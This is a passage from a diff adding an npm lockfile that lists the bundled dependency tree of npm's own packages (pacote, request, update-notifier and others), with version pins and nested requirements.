"agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "mississippi": { + "version": "1.3.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.0", + "duplexify": "3.5.3", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "1.0.3", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "1.0.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.3", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.1", + "safe-buffer": "5.1.1" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.19" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.19", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + } + } + }, + "npm-registry-client": { + "version": "8.5.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "graceful-fs": "4.1.11", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "request": "2.83.0", + "retry": "0.10.1", + "safe-buffer": "5.1.1", + "semver": "5.5.0", + "slide": "1.1.6", + "ssri": "5.2.4" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + } + } + }, + "npm-user-validate": { + "version": "1.0.0", + "bundled": true + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "requires": { + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" + }, + "dependencies": { + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.5" + }, + "dependencies": { + "delegates": { + "version": "1.0.0", + "bundled": true + } + } + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" + }, + "dependencies": { + "object-assign": { + "version": "4.1.1", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "requires": { + "string-width": "1.0.2" + } + } + } + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + } + } + }, + "once": { + "version": "1.4.0", + "bundled": true, + "requires": { + "wrappy": "1.0.2" + } + }, + "opener": { + "version": "1.4.3", + "bundled": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + }, + "dependencies": { + "os-homedir": { + "version": "1.0.2", + "bundled": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true + } + } + }, + "pacote": { + "version": "7.6.1", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "cacache": "10.0.4", + "get-stream": "3.0.0", + "glob": "7.1.2", + "lru-cache": "4.1.1", + "make-fetch-happen": "2.6.0", + "minimatch": "3.0.4", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.0.0", + "npm-packlist": "1.1.10", + "npm-pick-manifest": "2.1.0", + "osenv": "0.1.5", + "promise-inflight": "1.0.1", + "promise-retry": "1.1.1", + "protoduck": "5.0.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", + "semver": "5.5.0", + "ssri": "5.2.4", + "tar": "4.4.0", + "unique-filename": "1.1.0", + "which": "1.3.0" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "make-fetch-happen": { + "version": "2.6.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.0", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.0", + "lru-cache": "4.1.1", + "mississippi": "1.3.1", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.2.4" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.4.0", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "mississippi": { + "version": "1.3.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "1.0.3", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "1.0.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.1", + "safe-buffer": "5.1.1" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.19" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.19", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "npm-pick-manifest": { + "version": "2.1.0", + "bundled": true, + "requires": { + "npm-package-arg": "6.0.0", + "semver": "5.5.0" + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + } + } + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + }, + "dependencies": { + "genfun": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "path-is-inside": { + "version": "1.0.2", + "bundled": true + }, + "promise-inflight": { + "version": "1.0.1", + "bundled": true + }, + "qrcode-terminal": { + "version": "0.11.0", + "bundled": true + }, + "query-string": { + "version": "5.1.0", + "bundled": true, + "requires": { + "decode-uri-component": "0.2.0", + "object-assign": "4.1.1", + "strict-uri-encode": "1.1.0" + }, + "dependencies": { + "decode-uri-component": { + "version": "0.2.0", + "bundled": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true + }, + "strict-uri-encode": { + "version": "1.1.0", + "bundled": true + } + } + }, + "qw": { + "version": "1.0.1", + "bundled": true + }, + "read": { + "version": "1.0.7", + "bundled": true, + "requires": { + "mute-stream": "0.0.7" + }, + "dependencies": { + "mute-stream": { + "version": "0.0.7", + "bundled": true + } + } + }, + "read-cmd-shim": { + "version": "1.0.1", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11" + } + }, + "read-installed": { + "version": "4.0.3", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "graceful-fs": "4.1.11", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2", + "semver": "5.5.0", + "slide": "1.1.6", + "util-extend": "1.0.3" + }, + "dependencies": { + "util-extend": { + "version": "1.0.3", + "bundled": true + } + } + }, + "read-package-json": { + "version": "2.0.13", + "bundled": true, + "requires": { + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "json-parse-better-errors": "1.0.1", + "normalize-package-data": "2.4.0", + "slash": "1.0.0" + }, + "dependencies": { + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + }, + "slash": { + "version": "1.0.0", + "bundled": true + } + } + }, + "read-package-tree": { + "version": "5.1.6", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "once": "1.4.0", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2" + } + }, + "readable-stream": { + "version": "2.3.5", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.0.3", + "util-deprecate": "1.0.2" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "isarray": { + "version": "1.0.0", + "bundled": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true + }, + "string_decoder": { + "version": "1.0.3", + "bundled": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true + } + } + }, + "readdir-scoped-modules": { + "version": "1.0.2", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "graceful-fs": "4.1.11", + "once": "1.4.0" + } + }, + "request": { + "version": "2.83.0", + "bundled": true, + "requires": { + "aws-sign2": "0.7.0", + "aws4": "1.6.0", + "caseless": "0.12.0", + "combined-stream": "1.0.5", + "extend": "3.0.1", + "forever-agent": "0.6.1", + "form-data": "2.3.1", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.17", + "oauth-sign": "0.8.2", + "performance-now": "2.1.0", + "qs": "6.5.1", + "safe-buffer": "5.1.1", + "stringstream": "0.0.5", + "tough-cookie": "2.3.3", + "tunnel-agent": "0.6.0", + "uuid": "3.2.1" + }, + "dependencies": { + "aws-sign2": { + "version": "0.7.0", + "bundled": true + }, + "aws4": { + "version": "1.6.0", + "bundled": true + }, + "caseless": { + "version": "0.12.0", + "bundled": true + }, + "combined-stream": { + "version": "1.0.5", + "bundled": true, + "requires": { + "delayed-stream": "1.0.0" + }, + "dependencies": { + "delayed-stream": { + "version": "1.0.0", + "bundled": true + } + } + }, + "extend": { + "version": "3.0.1", + "bundled": true + }, + "forever-agent": { + "version": "0.6.1", + "bundled": true + }, + "form-data": { + "version": "2.3.1", + "bundled": true, + "requires": { + "asynckit": "0.4.0", + "combined-stream": "1.0.5", + "mime-types": "2.1.17" + }, + "dependencies": { + "asynckit": { + "version": "0.4.0", + "bundled": true + } + } + }, + "har-validator": { + "version": "5.0.3", + "bundled": true, + "requires": { + "ajv": "5.2.3", + "har-schema": "2.0.0" + }, + "dependencies": { + "ajv": { + "version": "5.2.3", + "bundled": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.0.0", + "json-schema-traverse": "0.3.1", + "json-stable-stringify": "1.0.1" + }, + "dependencies": { + "co": { + "version": "4.6.0", + "bundled": true + }, + "fast-deep-equal": { + "version": "1.0.0", + "bundled": true + }, + "json-schema-traverse": { + "version": "0.3.1", + "bundled": true + }, + "json-stable-stringify": { + "version": "1.0.1", + "bundled": true, + "requires": { + "jsonify": "0.0.0" + }, + "dependencies": { + "jsonify": { + "version": "0.0.0", + "bundled": true + } + } + } + } + }, + "har-schema": { + "version": "2.0.0", + "bundled": true + } + } + }, + "hawk": { + "version": "6.0.2", + "bundled": true, + "requires": { + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.0", + "sntp": "2.0.2" + }, + "dependencies": { + "boom": { + "version": "4.3.1", + "bundled": true, + "requires": { + "hoek": "4.2.0" + } + }, + "cryptiles": { + "version": "3.1.2", + "bundled": true, + "requires": { + "boom": "5.2.0" + }, + "dependencies": { + "boom": { + "version": "5.2.0", + "bundled": true, + "requires": { + "hoek": "4.2.0" + } + } + } + }, + "hoek": { + "version": "4.2.0", + "bundled": true + }, + "sntp": { + "version": "2.0.2", + "bundled": true, + "requires": { + "hoek": "4.2.0" + } + } + } + }, + "http-signature": { + "version": "1.2.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.13.1" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true + }, + "jsprim": { + "version": "1.4.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + }, + "dependencies": { + "extsprintf": { + "version": "1.3.0", + "bundled": true + }, + "json-schema": { + "version": "0.2.3", + "bundled": true + }, + "verror": { + "version": "1.10.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "1.3.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + } + } + } + } + }, + "sshpk": { + "version": "1.13.1", + "bundled": true, + "requires": { + "asn1": "0.2.3", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.1", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.1", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "tweetnacl": "0.14.5" + }, + "dependencies": { + "asn1": { + "version": "0.2.3", + "bundled": true + }, + "bcrypt-pbkdf": { + "version": "1.0.1", + "bundled": true, + "optional": true, + "requires": { + "tweetnacl": "0.14.5" + } + }, + "dashdash": { + "version": "1.14.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + } + }, + "ecc-jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true, + "requires": { + "jsbn": "0.1.1" + } + }, + "getpass": { + "version": "0.1.7", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + } + }, + "jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true + }, + "tweetnacl": { + "version": "0.14.5", + "bundled": true, + "optional": true + } + } + } + } + }, + "is-typedarray": { + "version": "1.0.0", + "bundled": true + }, + "isstream": { + "version": "0.1.2", + "bundled": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "bundled": true + }, + "mime-types": { + "version": "2.1.17", + "bundled": true, + "requires": { + "mime-db": "1.30.0" + }, + "dependencies": { + "mime-db": { + "version": "1.30.0", + "bundled": true + } + } + }, + "oauth-sign": { + "version": "0.8.2", + "bundled": true + }, + "performance-now": { + "version": "2.1.0", + "bundled": true + }, + "qs": { + "version": "6.5.1", + "bundled": true + }, + "stringstream": { + "version": "0.0.5", + "bundled": true + }, + "tough-cookie": { + "version": "2.3.3", + "bundled": true, + "requires": { + "punycode": "1.4.1" + }, + "dependencies": { + "punycode": { + "version": "1.4.1", + "bundled": true + } + } + }, + "tunnel-agent": { + "version": "0.6.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "retry": { + "version": "0.10.1", + "bundled": true + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "requires": { + "glob": "7.1.2" + } + }, + "safe-buffer": { + "version": "5.1.1", + "bundled": true + }, + "semver": { + "version": "5.5.0", + "bundled": true + }, + "sha": { + "version": "2.0.1", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "readable-stream": "2.3.5" + } + }, + "slide": { + "version": "1.1.6", + "bundled": true + }, + "sorted-object": { + "version": "2.0.1", + "bundled": true + }, + "sorted-union-stream": { + "version": "2.1.3", + "bundled": true, + "requires": { + "from2": "1.3.0", + "stream-iterate": "1.2.0" + }, + "dependencies": { + "from2": { + "version": "1.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "1.1.14" + }, + "dependencies": { + "readable-stream": { + "version": "1.1.14", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "0.0.1", + "string_decoder": "0.10.31" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "isarray": { + "version": "0.0.1", + "bundled": true + }, + "string_decoder": { + "version": "0.10.31", + "bundled": true + } + } + } + } + }, + "stream-iterate": { + "version": "1.2.0", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "ssri": { + "version": "5.2.4", + "bundled": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "bundled": true + } + } + }, + "tar": { + "version": "4.4.0", + "bundled": true, + "requires": { + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.1", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "yallist": "3.0.2" + }, + "dependencies": { + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "requires": { + "minipass": "2.2.1" + } + }, + "minipass": { + "version": "2.2.1", + "bundled": true, + "requires": { + "yallist": "3.0.2" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "requires": { + "minipass": "2.2.1" + } + }, + "yallist": { + "version": "3.0.2", + "bundled": true + } + } + }, + "text-table": { + "version": "0.2.0", + "bundled": true + }, + "uid-number": { + "version": "0.0.6", + "bundled": true + }, + "umask": { + "version": "1.1.0", + "bundled": true + }, + "unique-filename": { + "version": "1.1.0", + "bundled": true, + "requires": { + "unique-slug": "2.0.0" + }, + "dependencies": { + "unique-slug": { + "version": "2.0.0", + "bundled": true, + "requires": { + "imurmurhash": "0.1.4" + } + } + } + }, + "unpipe": { + "version": "1.0.0", + "bundled": true + }, + "update-notifier": { + "version": "2.3.0", + "bundled": true, + "requires": { + "boxen": "1.2.1", + "chalk": "2.1.0", + "configstore": "3.1.1", + "import-lazy": "2.1.0", + "is-installed-globally": "0.1.0", + "is-npm": "1.0.0", + "latest-version": "3.1.0", + "semver-diff": "2.1.0", + "xdg-basedir": "3.0.0" + }, + "dependencies": { + "boxen": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ansi-align": "2.0.0", + "camelcase": "4.1.0", + "chalk": "2.1.0", + "cli-boxes": "1.0.0", + "string-width": "2.1.1", + "term-size": "1.2.0", + "widest-line": "1.0.0" + }, + "dependencies": { + "ansi-align": { + "version": "2.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1" + } + }, + "camelcase": { + "version": "4.1.0", + "bundled": true + }, + "cli-boxes": { + "version": "1.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + } + } + }, + "term-size": { + "version": "1.2.0", + "bundled": true, + "requires": { + "execa": "0.7.0" + }, + "dependencies": { + "execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + }, + "dependencies": { + "shebang-regex": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + }, + "dependencies": { + "path-key": { + "version": "2.0.1", + "bundled": true + } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "widest-line": { + "version": "1.0.0", + "bundled": true, + "requires": { + "string-width": "1.0.2" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + } + } + }, + "chalk": { + "version": "2.1.0", + "bundled": true, + "requires": { + "ansi-styles": "3.2.0", + "escape-string-regexp": "1.0.5", + "supports-color": "4.4.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.0", + "bundled": true, + "requires": { + "color-convert": "1.9.0" + }, + "dependencies": { + "color-convert": { + "version": "1.9.0", + "bundled": true, + "requires": { + "color-name": "1.1.3" + }, + "dependencies": { + "color-name": { + "version": "1.1.3", + "bundled": true + } + } + } + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "bundled": true + }, + "supports-color": { + "version": "4.4.0", + "bundled": true, + "requires": { + "has-flag": "2.0.0" + }, + "dependencies": { + "has-flag": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "configstore": { + "version": "3.1.1", + "bundled": true, + "requires": { + "dot-prop": "4.2.0", + "graceful-fs": "4.1.11", + "make-dir": "1.0.0", + "unique-string": 